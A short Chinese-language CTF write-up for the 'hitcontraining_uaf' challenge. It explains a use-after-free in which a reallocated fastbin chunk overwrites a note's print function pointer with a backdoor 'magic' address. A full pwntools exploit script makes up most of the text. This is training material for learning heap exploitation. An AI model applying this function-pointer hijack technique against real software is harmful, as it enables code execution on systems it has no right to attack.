hitcontraining_uaf
查看保护
有uaf,还有后门函数
这里会将show的功能存放在堆里,没有pie所以思路就是将print_note_content这个功能改成magic就可以了,改完show一下就可以执行magic。
申请两个0x10堆, 释放掉,有uaf,没有清0。
这时再申请一个0x8的堆,因为fastbin,填充content时其实就改的是print_note_content。
content放入magic即可。
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 0
if debug:
r = remote('node4.buuoj.cn', 29518)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Your choice :'
def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Note size :', str(size))
r.sendlineafter('Content :', content)
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))
magic = 0x8048945
add(0x10, 'aaaa')
add(0x10, 'bbbb')
add(0x10, 'cccc')
delete(0)
delete(1)
#dbg()
add(8, p32(magic))
#dbg()
show(0)
r.interactive()